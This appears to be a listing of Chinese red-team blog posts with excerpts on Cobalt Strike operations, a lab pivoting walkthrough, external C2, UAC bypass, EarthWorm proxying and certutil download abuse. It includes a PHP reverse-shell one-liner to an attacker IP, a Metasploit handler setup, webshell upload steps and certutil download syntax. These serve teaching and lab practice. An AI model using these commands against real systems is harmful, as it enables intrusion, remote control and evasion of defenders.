2020-01-27 18:54:16    68    0    0

0x01 前言

  • 本文主要是看了 Cobalt Strike 4.0 Youtube 官方教程第一课【Operations】之后记的笔记,资源见参考文档。
  • 教程的授课者是 Cobalt Strike 的创造者 Raphael Mudge。可以说没人比他更权威了。
  • CS 系列教程及手册的好处就在于其中融入了很多红队的思想、策略和模型,CS 自己的定位也是「缩小渗透测试工具和高级威胁恶意软件之间的差距」这样一个工具。学习 CS 对了解后渗透帮助颇多。
  • 本文记录的视频对应了 CS 手册的第一章 Operations ,也就是操作。笔记记录是有选择的,一些基本的 CS 中的东西比如 可拓展 C2cna 插件团队服务器,因为关于这些的基本操作我已经了解了,就没有记。

闲话不多说,下面进入笔记正文部分。

0x02 基础概念

要了解一个领域,就要先了解其领域内的概念范畴。CS 中的一些概念包括:

  • agent
    agent 的本意为代理。当攻击者通过代码执行,有一个 agent 运行在目标网络中,就可以对目标网络进行命令与控制。所以 agent 实际上相当于 Beacon payload。

  • Staging 服务器
    在 Cobalt Strike 中,为了获取目标主机的 Beacon shell,必须先要传送 payload。payload 就是攻击执行的内容。
    传递 payload 时候,根据目标的网络、主机环境,可以选择分阶段传递 payload,也可以不分阶段直接丢一个 payload。
    分阶段传递中,Payload 通常被分为两部分:payload stagepayload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个 payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
    staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透 payload。
    在这里的 staging server,其实是指最开始用于传递

2020-01-26 17:31:27    184    0    0

0x01 前言

最近在看 Cobalt Strike 4.0 手册的时候,一直遇到 Pivot 这个词,我也不知道怎么翻译比较好,意思就是把一台受害机器作为支点,以此机器为基础横向?大概是这样吧,刚好翻看今天的 RSS 订阅时看到 Pivoting 技术的一个靶机环境,记录下操作。

0x02 对目标 A 的操作

Step 1:扫描目标 A

  1. nmap -sV -script=banner 192.230.141.3

title

看到目标 A 开放了 web 服务。是 Wolf CMS。

title

通过查询 EXPLOIT DATABASE 发现 Wolf CMS 存在任意文件上传漏洞:

title

上传一个 php 的小马,仅有命令执行和文件上传功能:

title

通过访问路径 192.230.141.3/public/php-backdoor.php 查看此小马:

title

Step 2:开启 PHP 反弹 shell 监听器

  1. # msfconsole
  2. msf5 > use exploit/multi/handler
  3. msf5 exploit(multi/handler) > set PAYLOAD php/reverse_php
  4. msf5 exploit(multi/handler) > ip addr
  5. # 得到攻击机的本机IP为 192.230.141.2
  6. msf5 exploit(multi/handler) > set LHOST 192.230.141.2
  7. msf5 exploit(multi/handler) > exploit

然后就在攻击机器的随意端口通过 msf 开启了反弹 shell 的监听,此处为 4444 端口:

title

在小马上通过此命令弹一个 /bin/sh 终端给攻击机器的反弹 shell 监听端口:

title

  1. php -r '$sock=fsockopen("192.230.141.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

title

通过小马的命令执行功能执行此 PHP webshell payload,然后得到一个反弹 shell:

title

后面找 flag 的具体步骤就不多说了,通过 fin

2020-01-20 23:34:47    626    0    0

0x01 什么是外部 C2?

C2 就是 Command & Control Server 的简称,也就是命令与控制服务器。

如下图是 C2 的大致通信模型。实现 C2 通信有时候很难,因为出口防火墙规则限制或进程限制。

title

Cobalt Strike 的团队服务器其实也是一种 C2 服务器。CS 的客户端相当于上面的「客户端」,CS 的团队服务器相当于上面的「攻击者的C2」。另外 CS 中,团队服务器会将要执行 的任何动作都以计划任务列表的形式进行管理,也就是说,在不考虑通信协议的前提下,CS 中的 C2 通信流程大概为:

  1. 通过 CS 客户端发送到团队服务器的任何动作都会被弄成计划任务的形式依次排队(这也就是 beacon 内置的那个 job 命令存在的实际意义);
  2. 而后等着目标机器上的负载(payload)来下载这些计划任务列表中的具体指令去目标机器上执行;
  3. 随后再依次把执行完的结果回传给 CS 团队服务器,团队服务器再回显至 CS 客户端。

现在的 Cobalt Strike (4.0版本之前)中,比较常用的 C2 通信方式是使用反向 shell 和反向 HTTP C2 通道。然而随着时间和防御水平的提高,这种「传统方法」势必会越来越难以生效。

title

在这种情况下,势必需要一些实现 C2 通信的替代方法,外部 C2 就是这样的一种方法。

在 Cobalt Strike 4.0 中,对监听器类型做了扩充,直接加入了外部 C2 的 Payload 选项。

title

但其实,外部 C2 并非 CS 4.0 才有。之前的 Cobalt Strike 版本中(外部 C2 是自 Cobalt Strike 3.6 引入的功能),也一直有提供外部 C2 接口、允许第三方程序充当 Cobalt Strike 与其 Beacon payload 之间的通信层。只是没有直接在监听器这里加入这种 Payload 选项。

外部 C2 也不仅仅是 Cobalt Strike 才有,一些框架都会提供外部 C2 的方法,比如 MSF。

总之,我们看到了未来的方向:基于但不限于框架、使用多种方法、拓展协议实现 C2 通信。

0x02 外部 C2 的通信模

2020-01-19 16:55:43    663    0    0

2020/1/21更新:

CS 手册 4.0 中说:

Cobalt Strike 附带了一些绕过 UAC 的攻击。但如果当前用户不是管理员,攻击会失效。要检查当前用户是否在管理员组里,使用 run whoami /groups 命令。

所以本文中使用 uac-dlluac-token-duplication 这两个 CS 中注册的 bypass UAC 模块的姿势不对,需要先提权,Administrator 或者 SYSTEM 权限。然后再通过 elevate 命令使用这些 Bypass UAC 的模块。


原文:

0x01 前言

本文只是记录下基本操作。这些操作都是我在读 Cobalt Strike 官网的 CS 4.0 手册的过程中自己无中生有凭空想出来的,所以方法可能不是很主流,有点繁琐、操作较麻烦,但是也是我自己试了完全可行的。慢慢探索更简单的道路吧、本菜鸡对自己要求不是太高,注重对自己创造力的培养。

实验环境: Cobalt Strike 3.14 非试用版
受害机器:有 360(ZhuDongFangYu.exe) 的 WIN10

本文看点:

  • Cobalt Strike Elevate 模块 BypassUAC 方法测试
  • MSF 和 CS 联动来 Bypass UAC
  • MSF → Meterpreter 方向弹 shell

0x02 Cobalt Strike 中的提权命令

一些后渗透命令要求系统管理员级别的权限。Beacon 有几个帮助用户提升访问权限的选项。

通过 elevate 命令利用漏洞提权

输入 elevate 可以列出在 Cobalt Strike 中注册的权限提升漏洞。运行 elevate [exploit listener] 来尝试使用特定的漏洞利用来提权。

图形化的操作路径是:通过 [beacon]AccessElevate 来启动其中一个漏洞利用。

title

如图,在 Cobalt Strike 3.14 非试用版中,elevate 模块内置了:

  • ms14-058
  • uac-dll
  • uac-token-duplication

这三个模块。ms

2020-01-17 18:42:16    765    0    0

0x01 「Cobalt Strike 中的桌面控制功能」概述

在 Cobalt Strike 中,在获取目标机器的 Beacon shell 的前提下,要与目标主机上的桌面交互,通过 [beacon]ExploreDesktop(VNC)。这会将一个 VNC 服务器转入当前进程的内存中并通过 Beacon 对连接建立隧道。

当 VNC 服务器准备就绪时,Cobalt Strike 会打开一个标签为 Desktop HOST@PID 的标签页。

也可以使用 Beacon 的 desktop 命令来将一个 VNC 服务器注入一个特定的进程。使用 desktop pid 架构 low|high 命令。最后一个参数用于指定 VNC 会话的画质。

0x02 问题描述

环境:

  • 目标系统为 Windows 10,上面有 360(ZhuDongFangYu.exe) 杀软。
  • Cobalt Strike 3.14 非试用版

通过选项卡 Desktop (VNC) 选项无法打开 Desktop 标签页:

title

title

title

title

可以看到在团队服务器的 7609 端口派生了一个 VNC 服务器,但是与 VNC 服务器的连接没有响应。

尝试的一些思路是:

1、查看 VNC 的 DLL 是不是存在:

在 Cobalt Strike 团队服务器上确认存在:

title

2、查看团队服务器的 7609 端口是否开放:

title

看上去就是此服务,那也不是端口的问题。

0x03 问题解决

解决方案就是:

参考了使用键盘记录和截屏工具的思路,把 Desktop(VNC) 工具注入到 explorer.exe 进程中,这样回来一个会话,即用此会话去开 VNC Desktop。

具体命令:

在 Beacon 控制台中,

  1. desktop [explorer pid] x86|x64 low|high

注:

  • low|high 控制截屏画质。

操作实例:

title

title

title

注意:

有时候也会有这种情况,就是用户存在,没登录进去,一个标志就是没有 winlogon.exe

title

这种情况下,键盘记录、截屏、VNC 桌面等这些后渗透工具都用

2020-01-13 18:55:15    762    0    0

大致思路如图:

title

根据具体网络情况可做增删。

2020-01-13 15:47:37    130    0    0

0x01 前言

写作本文的初衷,是在探索 Cobalt Strike 的 C2 隐蔽上线、与 Beacon 通信的过程中,遇到了一些涉及内网机器出网刺探、隧道技术的地方。比如,一般来说 Cobalt Strike 的团队服务器,也就是通常来讲的 C2 一般都开在公网上,这样可以便于团队成员的合作。但是为了避免团队服务器被反制、反捅,我们可以把团队服务器开在本地,借助 SSH 隧道与公网 VPS 之间进行流量转发,这样可以提高我们团队服务器的行为安全。又比如、我们可以通过多级反代,在目标受害机器跟真实的团队服务器中间建立一条隐蔽通道,这样可以增加溯源反制成本。又或者,我们可以加入一些域名前置的方法,或者结合以上两种方法构建更复杂的 Beacon 和 listener 之间的通信路线,当然是在时延可被接受的前提下。

于是我想做一点关于探测内网连通性的总结。在真实的项目中,我也遇到过需要探测内网连通性的场景。探测分为两个方面:

  1. 探测内网中的机器到外网的连通性,也就是通常说的能否正常出网、通过什么协议出网
  2. 探测内网机器之间的连通性

不仅要探测内网中的机器跟外网的连通性,也要探测一些内网机器之间的连通性。比如,一些 172 开头的办公区机器,很显然它不具备与外网之间的连通性,但是它与 DMZ 中的某台边缘机器是否相通?某个内网中如果具备多种不同的内网段、某台机器具有多个网卡,某台可出网的被控机器和这些内网机器之间是否相通?

探测内网机器能否出网很容易理解,因为要跟 C2 通信。但是探测内网机器之间的连通性有什么作用呢?

假设这样一个场景,当前我们已经拿到了目标内网中的一台机器的 beacon,然后又通过其它方式获取了了同内网下的另一台 windows 机器的本地 administrator 密码,并且这台机器的 smb[445 端口]能正常 通信。但是,因为某些设置,这台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了。在这种情况下,我依然可以通过当前仅有的这个 beacon shell 把内网那台不能正常访问外网的机器也一块给带出来。比如在 Cobalt Strike 中可以借助 wind

EW EarthWorm 内网渗透    2020-01-10 17:25:46    423    0    0

基础知识

内网穿透工具:EW(EarthWorm)
下载地址: https://github.com/idlefire/ew

本文介绍:

  1. 如何使用EW做反向Socks5代理
  2. 浏览器如何设置Socks5代理访问目标内网Web服务
  3. 利用proxychains给终端设置Socks5代理(方便将本地命令行工具的流量代理进目标内网)

EW

基础环境

  1. Kali Linux(Attacker 内网 192.168.23.133)后面简称攻击机器
  2. Ubuntu 16.04.3(Attacker 公网 144.168.57.70)后面简称公网机器
  3. Windows 10(Victim 目标内网 10.74.155.39)后面简称目标机器

网络拓扑:Kali Linux是我本地的一台虚拟机,Ubuntu是公网上的一台 vps,Windows 10 是目标机器,内网IP,部分端口映射到外网,可以访问公网。

场景模拟

现在已拿到目标内网一台机器的权限(该机器将80端口映射至外网,Web服务存在漏洞,已拿到webshell)。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5**将Kali的流量代理进目标内网**?

该使用场景为:
https://github.com/idlefire/ew

使用EW做反向Socks5代理

此处仅演示通过EW做反向Socks5代理,正向、多级级联的的代理方式可以参考官方文档。

第1步:在公网的Ubuntu上执行如下命令:

  1. ./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &

该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。
公网 Ubuntu

第2步:目标机器执行如下命令:

  1. ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024

其中-d参数的值为刚刚的公网IP。

Windows 10 目标机器:
Windows 10 目标机器
注意这里访问了 1024 端口。

第3步:攻击机器Kali通过proxychains或浏览器设置Socks5代理访问目标内网服务

方法一:Kali 浏览器设置Soc

certutil    2020-01-10 17:25:25    494    0    0

前言

写这篇的起因是围观了一点对话:

问:在工作组环境下,db服务器不出网(站库分离),有cmdshell。如果只是单单针对这个入口,有什么思路进行深入?

答:在echo正常的情况下,可以将工具打成base64丢上去抓明文密码,或者hash。

将工具做成base64丢上目标纯内网db服务器 这是什么操作?

我去问了我朋友,他就跟我说了一个 certutil,剩下的就靠自己操作了。


Certutil 是什么?

certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。

微软官方是这样对它解释的:

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

但是此合法Windows服务现已被广泛滥用于恶意用途。

渗透中主要利用其 下载编码解码替代数据流 等功能。
title


基于渗透的 Certutil 语法

大佬们的博客里面都是参数拿起来就用,我不懂,所以在 Certutil 的 Windows 官方文档去找了下跟渗透有关、可以被利用的相关语法、参数。

title

参数:

  • -f
    覆盖现有文件。
    有值的命令行选项。后面跟要下载的文件 url。

  • -split
    保存到文件。
    无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。

  • -URLCache
    显示或删除URL缓存条目。
    无值的命令行选项。
    (certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)

  • -encode
    将文件编码为Base64

  • -decode
    解码Base64编码的文件


渗透测试中的应用

下载功能

(1) 保存在当前路径,文件名称同URI

语法:

  1. certutil.exe -urlcache -split -f 文件url

payload:

title

效果:

如图,没有问题:
title

(2) 保存在当前路径,指定保存文件名称

语法:

  1. certutil.exe -urlcac
2020-01-10 17:25:19    613    0    0

0x01 前言

事情的起因是看到了这样一段话:

title

众所周知,RIDSID 的最后一位。这里面说到了用户有 RID,那么也就是说用户有 SID,这个是自然的,继续往下看。

然后又说 /groups 参数指定用户所属组的 RID,这也就是说组也有 SID。也可以理解吧,因为 SID 就是一个安全身份标识符,自然可以标识很多东西。

那么看下我的域内的一台 windows server 2008 r2 上面的 SID

title

嗯,看上去没毛病。但是跟这里描述的不一样啊:

title

既然说了组,那么就大胆猜测一个命令吧:

  1. wmic group get name,sid

然后就开始变得有意思起来了,查询到的 SID 有长有短:

title

那么这些 SID 为什么有的长有的短呢?

0x02 探索

经查资料,发现短的 SID 是微软内置(built-in)的一些:

Well-known security identifiers in Windows operating systems

如果仅仅理解为,短的是内置,长的不是内置,似乎太过肤浅。

那么来进行一点点的探索,观察发现:短的 SID 始终固定,长的 SID 具体内容会变化

跟微软文档进行对比发现:短的 SID 是根据操作系统始终固定的:

title

那这些短的 SID 对应的对象是什么呢?

其实是「本地组」

title

其实也很好理解。组是 windows 自带的机制,每一台机器都必定会有本地组,但是不一定会有域组。所以本地组的 SID 是固定的。

那那些长的 SID 对应的对象又是什么呢?

先看同一个域内的两台机器:

title

title

发现红框和绿框内的有区别,但是黄框里面的 SID 是一样的。其实原因很明显:红框和绿框内的是本机用户对应的 SID,黄框部分是域用户对应的 SID

title

再比较下另一个域的机器上查看 SID 的情况,域用户(krbtgt)的 SID 和前一个域里面的也不一样:

title

域组的 SID 呢,可以想见,必定是长的 SID,因为域不是计算机自带的,所以必定不是内置的。

0x03 总结

title

在 Windows 里面,不仅用户有本地和域的概念,组也是。